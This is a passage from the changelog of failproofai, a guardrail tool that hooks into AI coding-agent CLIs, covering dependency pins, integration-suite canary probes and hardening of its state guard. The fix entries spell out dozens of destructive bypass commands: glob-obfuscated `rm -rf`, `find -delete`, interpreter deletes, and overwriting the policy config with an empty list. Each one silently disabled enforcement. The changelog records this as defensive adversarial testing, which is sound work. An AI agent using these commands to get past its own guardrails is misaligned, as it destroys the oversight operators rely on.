constraint. That pin was needed because next asked for `^0.34.5`, a range that excluded the then-fixed 0.35.0 — next 16.3.4 now asks for `^0.35.4`, so the pin had inverted into the thing holding the tree *below* what its dependent wants. Verified past a green lockfile the same way #591 did: sharp 0.35.4 loads against libvips 8.18.6 (`@img/sharp-libvips-*` 1.3.0 → 1.3.3) and round-trips a PNG encode; the scanner image reports "No issues found" (exit 0) with `osv-scanner.toml` gaining no new entry (#790) - -- `fp-cloud-cli`: typer 0.27.1 → 0.27.2, click 8.4.2 → 8.5.0, posthog 7.42.0 → 7.44.2 (#771) - -- `osv-scanner.toml` ignores GHSA-8mgp-746c-j5xp (nltk 3.10.3, CVSS 8.3) until 2026-11-20. Surfaced 2026-09-03 against an already-approved PR — nothing on the branch introduced it and nothing on the branch can resolve it, which is the case the allow-list exists for. nltk is transitive via `llama-index-core` and appears only in `sdk/python/uv.lock`, the dev/test lockfile that pins every extra so CI can exercise the adapters; the SDK's own runtime dependency list is empty and the `llamaindex` extra is imported lazily, so it reaches no shipped code path. OSV reports "0 vulnerabilities can be fixed" and an empty FIXED VERSION, so the only alternative is dropping the extra and its adapter tests. Dated to match the chromadb entries so the list is revisited in one pass - -- browserslist pinned to 4.28.8 in `overrides`, closing GHSA-73wf-gq98-2v4g and GHSA-c83g-rgw3-j3cx (both 7.5, both fixed in 4.28.7). They turned `main` red on its own scheduled Supply Chain run rather than on any PR's change — disclosed after this branch's first CI run, the same surface-late mechanism `osv-scanner.toml` documents for chromadb. browserslist is transitive-only (via `@babel/helper-compilation-targets`'s `^4.24.0`), so this is an override pin, not a dependency bump — and not `bun update browserslist`, which adds it to `dependencies` as a direct dep it is not and leaves 4.28.2 nested under `@babel/helper-compilation-targets`, keeping the gate red (#771) - -- vitest 4.1.11 → 5.0.0, with jest-dom's matcher types re-attached in `__tests__/jest-dom-vitest.d.ts`. Vitest 5 widened `Assertion` to `Assertion, T>` so a promise return type can be threaded through `.resolves`/`expect.poll`, and moved the user-land extension point to the empty `Matchers` that interface extends — so `@testing-library/jest-dom`'s one-parameter `Assertion` augmentation (7.0.1, still the latest published) stopped merging. `skipLibCheck` swallowed the mismatch inside jest-dom's own `.d.ts`, so the break surfaced as 161 `Property 'toBeInTheDocument' does not exist` errors failing `quality` and `build` rather than one message about the interface — while all 4856 unit tests kept passing, because only the types moved: `__tests__/setup.ts`'s `import "@testing-library/jest-dom"` still registers the matchers through `expect.extend`. Augmenting `Matchers` covers the asymmetric matchers too, since vitest 5's `AsymmetricMatchersContaining extends Matchers`. The 161 call sites `tsc --noEmit` already type-checks are the shim's tripwire; delete the file once jest-dom publishes a vitest 5 augmentation of its own (#781) - -## 1.0.3 — 2026-08-31 - -One user-facing fix, and the three suite fixes that were needed to see it. - -**If you installed 1.0.2 and added a second agent CLI, check it.** -`failproofai policies --install --cli ` stopped writing hook config -after the first time it ran on a machine — exit 0, a reassuring `Enabled … from -pack` line, and no enforcement for that CLI. The first install always worked, -which is why it survived testing; only the second one was dead. -`failproofai policies` shows which CLIs are actually wired. - -The rest is the integration suite, which had been reporting the vendors as -broken while the fault was here — and, once corrected, reported two of its own -detectors as broken too. Nothing in that half changes what the package enforces. - -### Fixes - -- `policies --install --cli ` installs hooks again after the first time. Every builtin is also declared by the bundled `FailproofAI/policies` pack, and the first install is what puts that pack on the machine — so from the second install onward an ordinary `--install block-sudo --cli codex` resolved as "the user named only pack policies", took the short-circuit meant for a third-party name, and returned before writing a settings file. Exit 0, an `Enabled … from pack` line where `Failproof AI hooks installed for OpenAI Codex` belonged, and `--cli`, `--scope` and `--custom` all discarded. The first install per machine worked, which is why it survived manual testing; adding a second agent CLI later got silence and no enforcement. A name only a third-party pack declares still short-circuits, because there the switch really is the whole request (#760) - -- openclaw enforces in the integration suite for the first time, after weeks of `NO HOOK LOG — not one hook fired for this probe` against a config that looked correct. Five separate defects, each silent: openclaw refuses a plugin it does not own (`suspicious ownership … expected uid=1001 or root`) and the probe bind-mounts the host checkout, so the plugin was blocked outright; the plugin's `import … from "openclaw/plugin-sdk/plugin-entry"` cannot resolve from a standalone directory (`ERR_MODULE_NOT_FOUND`) while openclaw still lists it as loaded from its manifest; the shim spawns `node ` and the canary's override is a `/bin/sh` wrapper, so every hook failed open (the same trap `pi` documents); openclaw runs tools in its own workspace rather than the probe cwd, so probe B could never find the marker; and above all `agent --local` **never dispatches plugin hooks at all** — they run on a global hook runner the GATEWAY installs, so `hasHooks()` answers false and the tool executes with our handler registered and never called. Proven by instrumenting the plugin: `--local` printed REGISTER and nothing more, the gateway printed `HANDLER FIRED tool="exec"`. The probe now copies the plugin into HOME, makes the bare import resolvable, points the override at a node-runnable path inside the repo, uses the probe dir as the workspace, and drives every turn through a per-probe gateway. Verified on a clean volume in daemon mode: `bash=PASS read=PASS` (#760) - -- The canary's drift detector stops crying drift over a payload that mapped perfectly. `canary-guard` reports NORMALIZATION-DRIFT-SUSPECT when a shell or path tool's canonical field "arrived empty", but the test asked something weaker — whether the canary token appears in it — so any call carrying the token in some OTHER field was flagged even though `command` had normalized exactly right. Antigravity is where it bit: `run_command` carries `toolAction` and `toolSummary` beside `CommandLine`, free text the model writes about what it is doing, so an `ls` issued while hunting for the marker mapped fine and was still scored as the copilot-1.0.70 silent-allow class. Verified live with a recorder hook against agy 1.1.22: `run_command` still delivers `CommandLine`/`Cwd`, and `view_file` delivers `AbsolutePath`, both of which the maps already handle. The condition now tests what its own message claims — both canonical fields empty — which is what real drift looks like when the keys stop mapping (#760) - -- The integration suite stops reporting a working CLI as broken enforcement. Probe B scores a leaked sentinel FAIL unless the agent was denied on a route the probe does not target, and that exception recognised only `canary-read-shell` — the shell. An agent denied on the read tool that reaches for some OTHER tool trips `canary-guard` instead, so antigravity scored red for days with 69 hook events and `canary-bash`, `canary-read` and `canary-guard` all denying correctly: every deny issued and honoured, reported as a silent-allow. Both detectors now downgrade a leak to INCONCLUSIVE — unproven, which is what it is. The narrowness is kept: a leak with NEITHER stays FAIL, because that is what a CLI ignoring the deny looks like. Drift is now decided FIRST, ahead of the leak branch, because `canary-guard` denies for two opposite reasons under one name and `NORMALIZATION-DRIFT-SUSPECT` must never be excused by the widened exception (#760) - -## 1.0.2 — 2026-08-27 - -The stable cut of the `1.0.2-beta.*` line, which stays documented in its own -sections underneath. The entries below shipped in no beta — `next` stopped at -`1.0.2-beta.8` — so they reach users for the first time here. - -Worth stating plainly for anyone arriving from 1.0.1: **`policies` is now the -one noun**, and the package ships NO policies of its own. `policy`, `pack` and -`p` still reach the same command, but a policy set is something you add -(`failproofai policies add FailproofAI/policies`) or publish -(`failproofai publish`) rather than something the install carries. A pack is -pinned by the digest of its artifact and by the commit it was built from, and a -pack that cannot be loaded DENIES within the scope it declared rather than -disappearing quietly. - -### Fixes - -- The mirror of that, on the success path: a shared artifact that imports FINE but registers less than one of its packs selected. Registration is recorded per pack id, and every hook from a collapsed load carries only the id the collapse kept — so a policy declared by the non-winning record's manifest and absent from the artifact left that pack in neither the failure map nor the registered map, and `missingGuards` skips a pack in neither. Nothing registered the policy and nothing denied on its behalf: the machine reported itself enforcing a scope that was running nothing. Registrations are propagated to every pack id behind the artifact now, so the pack that selected the missing policy is measured against what actually loaded (#738) - -- A broken artifact two packs share now fails closed for BOTH of them. Packs with identical entry bytes collapse to one load so the module imports once, and a load failure is recorded per PACK ID — so the collapse left one id holding the merged record and the other got no failure at all. `missingGuards` skips a pack missing from both the failure map and the registration map, so the second pack's selected policies were absent, unguarded, and unreported: a syntax error in a shared artifact guarded the first pack's tools and silently allowed the second's. Every id behind an artifact path is kept now and a failure is recorded against all of them, for a failed import and for a missing file alike (#738) -- The stand-in policy for several missing guards stops denying pairs no pack asked to guard. Its matcher unions the two axes independently and the policy registry ANDs them, so guards scoped to (PreToolUse, Bash) and (PostToolUse, Write) produced a matcher that also caught (PreToolUse, Write) and (PostToolUse, Bash) — a cross product of scopes neither pack declared. The matcher cannot be narrowed without losing dispatch, since a policy that is never called cannot decide anything, so it stays a superset and the pairing is settled during evaluation, where the real event and tool are known (#738) - -- Two failed packs no longer block more than either one did. When several packs are unavailable at once, one policy stands in for all of them, and its matcher unioned the events but left `toolNames` out of the combined object entirely — which reads as "every tool". So a single failed pack scoped to `Bash` denied `Bash`, and two of them denied `Write` and `Read` as well: combining two limited scopes was producing a larger one. Both axes union by the same rule now, narrowing only where every guard was narrow (#738) -- An audit whose resume could not be honoured no longer counts the same findings twice. The cache decides a transcript grew and hands back a prefix result plus a byte offset, but the READER is what discovers the offset is no longer good — a transcript truncated or rewritten under it — and it answers by reading the whole file instead. The prefix was merged onto that whole-file result regardless, so every finding before the offset was counted twice and the audit reported more than the transcript contained. The merge now asks whether the scan actually resumed, rather than whether a prefix existed (#738) - -- Bash extended globs are compiled instead of ignored. Three of the five operators — `@(`, `+(` and `!(` — begin with a character that means nothing on its own, so a token carrying one was not recognised as a pattern at all: `rm -rf ~/.f@(ailproofai)` never reached the glob check and deleted the state through the guard that cannot be switched off. `@()`, `?()`, `*()` and `+()` are now compiled as the groups-with-a-quantifier they are, recursing into their alternatives rather than escaping them, and `!()` — a negation a regex cannot express against a path segment — becomes `[^/]*`, a superset. The same trailing-character bug the braces had was underneath it: the strip that removes a subshell's parentheses (`(cd x && rm y)`) also removed a pattern's, so `~/.f@(ailproofai)` arrived as an unterminated group; the glob scan keeps both spellings now and tries the stripped form as well (#738) -- A pack that fails to load no longer denies agents it was never scoped to. The registration path skips a pack whose `clis` excludes the running agent, and the fail-closed path did not — so a pack scoped to `codex` that failed its digest check denied on `claude` too, locking an agent out over enforcement it was never configured to have, until a human repaired a pack it does not use. The scope is carried on a pack that failed before it could even be resolved, and — like an unreadable `match` — an unreadable scope means every agent rather than none, so a `clis` that is not a list of names cannot narrow the deny away (#738) - -- A shell bracket expression is translated before it is compiled, instead of being copied into a JavaScript regex verbatim — which read two of its spellings backwards. POSIX negates with `!`, so bash expands `rm -rf ~/.f[!b]ilproofai` straight onto the state directory while JavaScript read `[!b]` as "either `!` or `b`" and matched nothing: a one-character bypass of the guard that cannot be switched off. A `]` in the FIRST position is a literal `]` rather than the end of the class, so scanning for the next `]` closed `[]a]` on the wrong character, and a POSIX class carries a `]` of its own, which ended `[[:alpha:]]` early and left a stray literal behind. Anything exotic — a collating symbol, an equivalence class — now becomes `[^/]`, which reaches at least as far as the original; widening is safe where narrowing never is, because the decoy test is what decides. An unclosed `[` is a literal `[`, as it is to the shell, rather than a reason to answer "names nothing" (#738) -- `policies add` no longer refuses a pack because an UNRELATED one shipped identical bytes. An id is bound to the origin it first came from, so a second source for the same id has to be an explicit removal — but the prior record is looked up by digest as well as by id, and the binding check did not ask which of the two it had got. A pack from another repository that happened to build byte-identical output was rejected with `pack id X is already installed from Y`, naming an id the user had not asked for and offering a removal that would not have helped. The check now applies only when the ids actually match (#738) - -- `policies add` no longer claims to know something it inferred. When an incoming pack ships the same artifact bytes as one already installed under a different id, the old record is absorbed and its selection carried over — the right default, because a publisher renaming a set must not reset everyone who had narrowed it. But identical bytes are the only evidence there is, and they cannot tell a rename from a second pack one repository builds from the same source, so reporting it as "same policies under a new name" stated an inference as fact about a record the user installed on purpose. The line now says what was observed, that absorbing was the inference drawn from it, and how to restore the other pack if the inference was wrong (#738) - -- A glob that spells `~/.failproofai` without the letters in it no longer walks past the always-on state guard. The floor that decided whether a pattern was aimed at the state was a literal `fail` substring test — which is exactly the letter a metacharacter stands in for — so the pattern was thrown out before it was ever compiled: `rm -rf ~/.f*ailproofai`, `.[f]ailproofai`, `.fa*lproofai`, `.fa[i]lproofai`, `.f{a,b}ilproofai` and `$HOME/.f*ailproofai` all deleted the state through the one guard nobody can switch off. The floor is computed from the pattern's REACH now, the same way the match is: compile it once, require that it hits the state, and reject it if it also hits anything ordinary. `rm -rf *` and `rm -rf ~/.*` stay allowed because they sweep `node_modules` and `~/.config` too, and `rm -rf /tmp/test-failures*` because it reaches no state path at all. Brace expansion is performed BEFORE the pattern is compiled, in the order the shell does it — compiling `{a*,x}` as an alternation of escaped literals put a literal `*` in the pattern, so `~/.f{a*,x}ilproofai`, which the shell turns into `~/.fa*ilproofai` and then into the directory itself, read as naming nothing. Expansion is bounded on WORK rather than on nesting depth, because a depth cap that RETURNED its half-expanded words handed a still-braced word to the same compiler, so seventeen levels of `{x,{x,…{x,a*}…}}` — legal shell, with a branch that becomes `~/.fa*ilproofai` — came out matching nothing again; running out of budget now collapses every remaining group to `*`, a superset, at any depth in a single pass, which keeps an oversized token decidable rather than a way to stall the hook path. The glob scan also keeps its braces now, where the leading/trailing strip that exists for shell groups (`{ cmd; }`) used to eat the one closing `~/.{fail*,zz}`. Every `/`-delimited prefix is tried rather than the whole token — naming a file INSIDE the state is naming the state, so `shred ~/.f*ailproofai/policies-config.json` no longer passes on the grounds that it could not equal the directory (#738) -- A pack whose manifest declares a `match` nobody can read no longer defeats the fail-closed deny it was supposed to narrow. `match` was validated as "is an object" and nothing further, so `events: "PreToolUse"` — a string where a list belongs — was iterated character by character and narrowed the guard to `["P","r","e","T","o","l","U","s"]`, a set matching no event that exists: the pack failed to load, the deny fired on nothing, and the machine ran unguarded with enforcement that reported itself present. `events: 5` was worse, throwing `number is not iterable` on the hook path. Unreadable metadata now WIDENS the deny instead of narrowing it, on the principle that a scope derived from something nobody can parse says nothing true, and the manifest refuses the shape outright at install time, where the publisher can still fix it (#738) - -- `block-failproofai-commands` — the one policy no config can switch off — stops an agent emptying `~/.failproofai` through a command that never says `rm`. The check was one verb list, and `find ~/.failproofai -delete` names none of its words; deleting `policies/packs/installed.json` leaves a machine that reads as FRESH rather than broken, so fail-closed never fires and every pack policy silently stops running. The verb list is now an allowlist of commands that can only READ, which is a list that can be finished — a blocklist miss disables enforcement silently, an allowlist miss denies a command the operator can see. That closes an interpreter (`python3 -c 'shutil.rmtree(...)'`, `perl`, `node -e`), `git clean`, `sed -i`, `gio trash`, `install`, `tar --overwrite`, `chmod 000`, and `cp /dev/null `, which the old comment claimed was covered and the old regex never mentioned. The path is also carried across commands now — `cd ~/.failproofai && rm -rf .`, `D=~/.failproofai; rm -rf $D` and `find ~/.failproofai | xargs rm` each split the path from the verb and walked through. Reads stay allowed, and two that used to deny no longer do: any `>` in the segment matched, so `grep -r sudo ~/.failproofai 2>/dev/null` and `cat ~/.failproofai/config.json > /tmp/backup.json` were blocked, and `-exec` denied on the flag rather than on the command it runs (#738) -- The same guard runs on `Write`, `Edit` and `NotebookEdit`, not only on `Bash`. It was declared `toolNames: ["Bash"]`, so the shortest way to disable enforcement needed no shell at all: write `{"enabledPolicies":[]}` over `~/.failproofai/policies-config.json`, or an empty `installed.json`, and the policy was never called. `Read` is untouched (#738) -- A second adversarial pass over that guard closes 25 more ways through it, in two shapes. A name on the READ allowlist that turns out to have a write in it: `sort -o` and `curl -o` take a destination as a flag, `uniq IN OUT` and `xxd IN OUT` write their last operand, `sed 's/…/w '` writes with no `-i`, `find -fprint` truncates the file it reports into, `awk` runs `system()`, `rsync --remove-source-files` deletes what it copied, `git -c k=v -C clean` hid its subcommand behind a flag that swallows the next token, and `-exec` reused the read allowlist so `-exec cp /dev/null {}` and `-exec sed -i` emptied every file in the state. And a path reaching a command that never names it: `echo $(rm -rf ~/.failproofai)` ran under a head the walk approved, `A=~/.failproofai; B=$A; rm -rf $B` broke the one-pass variable scan, `for f in ~/.failproofai/*; do rm -rf $f; done` named the state only in the header, and `rm -rf ~/.failproof*` never spelled it at all — a glob is now compiled and tried against the paths it would have to hit (#738) -- That pass also fixed six reads the guard was denying, which is the failure mode that gets a guard worked around rather than reported: `bash -c 'cat ~/.failproofai/policies-config.json'` (the head was taken with its quote still on, so `'cat` matched no allowlist entry), `[ -f ~/.failproofai/policies-config.json ]` and `for f in …; do cat $f; done` (shell grammar reached the unknown-head branch), `cat ~/.failproofai/policies-config.json | tee /tmp/out.json`, and — the two that denied a delete in an entirely unrelated directory — `pushd ~/.failproofai; cat x; popd; rm -rf node_modules` and `(cd ~/.failproofai && cat x); rm -rf node_modules`, where the `cd` window never closed (#738) -- `failproofai publish` refuses an existing PRIVATE repository before it creates anything, instead of uploading three assets, exiting 0 and printing `policies add ` with a warning underneath saying nobody can run it. A pack is fetched over anonymous HTTPS with no credential to offer, so every install of a private one 404s — the publish reported success for a release that could not be installed, and left assets behind advertising that dead route. The refusal names the repository, says why no install can work, and gives both ways out: make it public, or publish it with `--allow-private` for somebody who genuinely wants a private pack and will hand the assets over another way. That flag still warns, and prints the warning INSTEAD of the install lines rather than beneath them. A repository publish creates is public by construction, so only reuse is affected (#738) -- `failproofai publish --help` describes that refusal instead of the behaviour it replaced. The screen still promised "an existing private one still publishes, and warns", and named `--allow-private` nowhere at all — so the command's only documentation told a publisher the run would go through, then exited 1, and left the one flag that gets past it discoverable only by triggering the refusal (#738) -- `failproofai publish` checks every source it is about to BUNDLE against the commit its version names, not just the entry and not just the tree. Four ways a file reached the artifact without reaching the commit are closed by one check: a file `.gitignore` hides (`git status` omits ignored paths even with `--untracked-files=all`), a modified sibling under a tag (tag inference looked only at the entry while publish bundles every discovered file), a source reached through a symlinked directory (`--show-toplevel` resolves symlinks and the source path did not, so every source read as never committed), and a policy file that is itself a symlink out of the repository (its blob in HEAD holds the link's target NAME while the bundled bytes are the target's). The refusal names the offending files, and says `git add -f` for an ignored one because `git add -A` leaves it ignored and would loop (#738) -- A file the bundler inlines but discovery never names is checked too. `findEntry` recognises only files that import failproofai and call `customPolicies.add`, while the bundler inlines whatever those import — so an ignored helper was in every byte of the artifact and in no source list, and the manifest recorded a commit containing none of it. The relative-import graph is walked now (#738) -- `git status` output is parsed with `-z`. Git C-quotes a path containing a newline or a quote, so the parsed value was escape sequences resolving to no file, and a legal policy file named `guards -> final.mjs` was truncated by the rename split — either way publish refused to commit its own source over a filename it had mangled itself. A rename's original path is consumed by the entry that produced it rather than read as a record of its own, and both halves are staged so the rename lands whole (#738) -- `failproofai publish` measures its sources the way git spells them. `rev-parse --show-toplevel` answers with symlinks resolved, so naming an entry through a symlinked directory — `publish ~/policies/guards.mjs`, where `~/policies` links into a checkout — put every source outside the repository, refused a committed and untouched file as "never committed", and offered `git add -f`, which does nothing for it. It cuts the other way too: a policy file that is ITSELF a symlink out of the repository has a blob in HEAD holding the link's target name while the artifact carries the target's bytes, and asking only about the link's own path called that publishable and recorded a commit containing none of them (#738) -- A file the bundler pulls in is checked against the commit even though discovery never names it. `publish` finds POLICY files — the ones that import failproofai and call `customPolicies.add` — while the bundle inlines whatever those files import, so a plain `./patterns.mjs` of shared matchers is in nobody's source list and in every byte of the artifact. Ignored, it read as clean: `git status` reported nothing, the policy file beside it was committed, and the pack shipped bytes HEAD does not contain under a version naming HEAD — the same false claim an ignored policy file used to make, with a different file on the end of it (#738) -- `failproofai policies add --cli` with no agent named no longer installs a pack that guards NOTHING. It parsed as an empty list, which `installed.json` stored verbatim and the hook path reads as "guard no agent" — an empty array is truthy and contains nothing — so the install reported itself enabled while enforcing on zero CLIs, which is the worst shape a guardrail tool has: the report says it is on. `--cli` is the easiest flag to leave dangling, because the agent list stops at the first token carrying a `-` or a `/`, so both the pack source and the next flag terminate it. `--policy` and `--category` already refused an empty list; `--cli` now does too (#738) -- Two installed packs sharing one artifact no longer discard each other's selections. Packs whose entry bytes are identical collapse to a single load so the module imports once — resolved toward enforcement for the pack's EFFECT, and not, until now, for what it had enabled. Only the winner's list reached the hook tag and the hook path gates on that one list, so two packs with complementary selections registered one and silently dropped the other's policy; the fail-closed check ignores a pack absent from the registered map, so nothing reported it. `clis` had the identical shape, letting a pack scoped to one agent decide the scope for both. Both are unioned now, `null` meaning "all of it" and absorbing any list (#738) -- `failproofai policies remove ` refuses an ambiguous name instead of removing whichever pack it finds first. Ids are stored with exact equality, so `Acme/guard` and `acme/guard` are two rows on one machine — and the case-insensitive matching added moments earlier took the first of them. An exact match now wins outright, a loose match is used only when it is unique, and anything else lists the candidates and removes nothing (#738) -- A pack renamed by its publisher no longer reports more policies enabled than it enforces. The carry that preserves a selection across a rename fired on any record with no `enabled` — which is exactly how `--all` is stored — so `--all` after a rename announced the whole pack while the manifest still held one policy. The carry was dead on every path it was written for, since the prior record is already found by digest (#738) -- `failproofai policies remove ` accepts the name you actually have. Exactly one spelling used to work — the stored id, byte for byte — and it appears nowhere on its own, so every form a user could SEE or had TYPED was refused: the case they installed it with (`add` takes any case, because GitHub does, then records the canonical id off the manifest), and the listing's own heading copied whole (`FailproofAI/policies@06b802b63f4f`). A pack whose owner happens to be lowercase removed on the first try, which made this look like one particular pack being unremovable rather than a name-matching bug. Now case-insensitive, with an `@` suffix dropped — and the reply names the id the machine holds rather than echoing back what was typed (#738) -- `failproofai policies add --cli` with no agent named is refused instead of installing a pack that guards nobody. It parsed as an empty list, which `installed.json` stores verbatim and the hook path reads as "guard NO agent" — so the command exited 0, printed `enabled (1/3, the pack's defaults)`, and left a pack enforcing nowhere. `--cli` is the easiest flag on the line to leave dangling: the value scan stops at anything carrying a `-` or a `/`, so the source and the next flag both end the list rather than joining it. Now refused the way `--policy` and `--category` already refuse an empty list, before anything is fetched (#738) -- `failproofai policies add --all` enables the whole pack rather than the selection you had under its old name. A rename is absorbed by artifact digest and the old id's selection is carried onto a record that names none — right when nobody expressed an opinion, wrong for a caller who just said "everything". The install reported the full catalog and wrote the old one-policy list: three policies on screen, one enforcing (#738) -- `failproofai policies` stops telling you to install a pack you already have. The listing counts ENABLED policies, so a pack installed with everything switched off reached zero the same way an empty machine does — and got the same advice, which would have changed nothing: the selection is what is empty, not the shelf. It now says so and points at the picker (#738) -- Toggling a policy in the dashboard moves the row you clicked, not every row that shares its name. A pack policy name is unique only WITHIN its pack, so two installed packs each declaring `block-sudo` produce two rows — and the optimistic update matched on the name while the write targeted `(packId, name)`, flipping the other pack's switch on screen with nothing persisted behind it until a reload silently put it back. The row list keyed on the bare name too, which made the two rows one React key (#738) -- The dashboard shows a pack the parameters saved for THAT pack. Its read side kept its own copy of the evaluator's bare-name fallback with the pack scoping left off, so a third-party pack that happened to declare `block-sudo` was shown the parameters saved for ours while the evaluator gave it none of them. The configuration modal seeds its inputs from what the row displays, so opening one and pressing Save wrote our pack's values under the stranger's own key — where they then really did take effect. Both sides read through one function now, and the fallback is our pack's alone on both (#738) -- `failproofai policies` stops calling every parameter you saved in the dashboard a typo. The listing checks each `policyParams` key against the names installed packs carry, and it knew only the BARE ones — so the moment the dashboard started writing the pack-qualified `pack//` key the evaluator actually reads, every configured parameter was reported as an "unknown policyParams key — possible typo" and shipped as a `policy_params_validation_warning` event, while that key was in fact the only spelling that takes effect. Both spellings are known now, built with the same helper the dashboard and the evaluator use, and a key naming no installed policy is still flagged (#738) - -## 1.0.2-beta.8 — 2026-08-26 - -### Features - -- Packs version by the COMMIT they are built from — its short sha, twelve characters. Nothing to pick and nothing to count: publish the same source twice and the version is the same, because there is nothing to increment. Read from the tree rather than the repository's releases, so a fresh clone and an air-gapped machine agree and neither asks GitHub what happened before. Twelve rather than git's seven, since seven collides in a large repository and a version that stops being unique means two artifacts claiming one name. It refuses rather than guessing where the claim would be false — outside a git checkout, and on a tree with uncommitted changes — and `--version` overrides both. A sha does not order, which is what `policies show / --releases` is for (#738) -- A pack records the git commit it was built from — in its manifest, in the release notes, and in `installed.json`. PROVENANCE, deliberately not verification: `sha256` is still the only thing that decides whether the bytes are the ones that were published, and this answers the question a digest cannot, which is what source produced them. Absent and harmless when the pack was published from a directory that is not a git checkout (#738) -- `failproofai policies add /@a1b2c3d` installs the release built from a commit. Ambiguous prefixes are refused with the candidates listed rather than resolved to a guess, and a string that matches no commit falls through to being a literal tag, because a repository may genuinely have one named that. The lookup is the only place the CLI asks GitHub what exists — every ordinary install still constructs its URL from owner/repo/tag and discovers nothing (#738) -- `failproofai policies show / --releases` lists every version a pack has published, with its commit, policy count and which one is installed here. ONE request, however long the history: `publish` writes those counts into the release body, which `GET /releases` returns inline — the obvious version downloads a manifest per release and gets slower the longer a pack has existed. A release that recorded nothing shows `—` rather than being fetched to fill in (#738) - -### Fixes - -- `failproofai publish` does the git work itself instead of handing it back. With no checkout it runs `git init`, stages everything except the build output, and commits — there is no history to disturb, no branch to confuse and no unrelated work to sweep up, so it is safe to just do. With a dirty tree it commits ONLY the policy files it is about to bundle, and REFUSES when anything else is dirty, naming those paths: `git add -A` there would sweep up a half-finished edit or a scratch `.env`, and "publish committed my unrelated work" is a far worse surprise than being asked. TTY only — a commit made in CI exists on the runner and nowhere else, so `--version` remains the answer there (#738) -- `failproofai publish` settles a policy folder git reports as ONE untracked directory. `git status --porcelain` does not list the files inside a wholly untracked directory — it prints `?? policies/` once — so a brand new folder of policies inside an existing checkout matched no policy file, read as somebody else's work, and publish refused it by naming the folder itself as "not this command's to commit". The bootstrap case the whole feature exists for, and invisible from the repository root, where an untracked file is reported individually (#738) -- `failproofai publish` no longer starts a SECOND git repository inside the first. A checkout that has been initialised but never committed to answers nothing to `rev-parse HEAD`, so publishing from a folder below its root took the no-repository branch and ran `git init` there — committing into a repository the author will never push, while the parent still showed an untracked `policies/` and no commit at all. That is a version naming provenance nobody can resolve, minted at a terminal, which is the one thing that path exists to prevent. It refuses now, because everything in an unborn checkout is untracked and the only add that would work is one sweeping the parent's whole work tree. At the checkout's own root it still commits, and stops claiming to have started a repository that was already there (#738) -- A `--cli` narrowing survives the next `policies add`. `installed.json` rows are replaced wholesale, so an add that named no agents wrote none — and a pack you had scoped to Claude silently started guarding every supported agent, enforcing on ones nobody picked. The same shape as the `--category` bug beside it, in the widening direction, which is the worse one. The interactive picker is deliberately exempt: ticking every agent records nothing so a CLI supported later is included too, and carrying there would make widening back to all impossible (#738) -- `failproofai policies add --category X` ADDS to what is already on instead of replacing it. Following the pack README's own path — take the defaults, then add a category — left you with six policies on where you had started with ten, silently, from a command whose first word is `add`. The interactive picker still replaces, because its list is the complete answer and unticking something has to be able to turn it off (#738) -- `--version` on a dirty tree no longer records the commit. It let the publish through and then wrote `commit` into the manifest anyway — the exact false claim the dirty refusal exists to prevent, reachable by taking the escape hatch that refusal recommends (#738) -- `failproofai policies show / --releases` stops being wrong in three places at once. The published column labelled every span one unit too fresh — a release from yesterday read `1 hour ago`, one from six months ago read `5 weeks ago` — which is the opposite of what a staleness column is for. `incomplete` was decided by COUNTING attachments rather than naming them, so any repository that ships three binaries per release read as installable and one that attached nothing at all read as fine. And the install hint was derived by a second pass that disagreed with the table: a release with an empty tag produced the uncopyable `policies add owner/repo@`, and a release carrying none of the three assets was offered as the thing to install (#738) -- `failproofai policies show / --releases` sorts by when each release was PUBLISHED, instead of trusting the order GitHub returned. That endpoint orders by `created_at`, and a release's `created_at` is the date of the COMMIT its tag points at rather than the moment the release was cut — so two releases made from one commit tie, and the tie broke backwards on our own pack repository: an older release sat above a newer one and the install hint offered the older of the two. It mattered little while a version sorted by itself and matters now that a sha does not, since this list is the only place "which of these is newest?" is answered. A release carrying no usable date sinks rather than floats (#738) -- A text prompt shows the default it would apply. `failproofai publish` offers your account and the folder name, and nothing on the screen said return would take it — which is the entire job the default was there to do, so people typed it out again. `promptText` now renders `↵ ` ahead of any hint it is given, so a prompt cannot be added without it; never on a masked one, because the reason a credential's characters are hidden is that the wizard is routinely run while screen-sharing (#738) - -## 1.0.2-beta.7 — 2026-08-26 - -### Features - -- Every `--help` screen is drawn by one renderer, so the twelve of them are one screen instead of twelve dialects. They were each a template literal — `USAGE` on one and `Usage:` on the next, a description column hand-counted per file, no version on any of them and no colour on any of them while the index they were reached from had all three. Section headings are now the brand's `━━ label ━━` rule everywhere, the description column is computed rather than counted, and the whole family is capped at 80 columns so help reads the same in a maximised window as in a tmux pane (#738) -- `failproofai --help` spends its lines on commands rather than on a manual: the sections breathe, the four that nobody types on their first day are named on one line instead of given a row each, and the shape and the links moved to a footer. Also drops a `config --connect` row that no longer describes how to connect (#738) -- One accent, three tones, on every sectioned surface: a pink lead into the section rule, pink for what you TYPE, dim for what it means. `rule()` is shared, so `policies`, `harness`, `pack list` and every `table` section moved with the help screens rather than being restyled one at a time (#738) -- `flush`, `backfill`, `migrate`, `update` and `uninstall` print a report with a heading and margins like every other screen, instead of bare sentences at column zero. The modules still return facts; the presentation lives in one place (#738) - -### Fixes - -- `failproofai policies --install` no longer opens a policy picker, and no longer pushes a stale `enabledPolicies` back into an installed pack. Wiring hooks is not choosing policies: it offered a second list — over the COMPILED catalog, which is not how policies arrive any more — and saved the answer to a key nothing else writes. `policies remove block-env-files` followed by `policies --install` put block-env-files straight back on, silently (#738) -- `failproofai config --token ` asks nothing at all on a terminal, not just off one. It still drew the Cloud question and the review prompt, so the one command that says "connect me, don't ask" asked twice. Only the sudo password is left, because no flag can supply it (#738) -- `failproofai audit --help` gets its description column from the same renderer as every other screen. It had its own hand-set constant, which is how `audit` and `config` ended up putting their descriptions in different places, and `--email
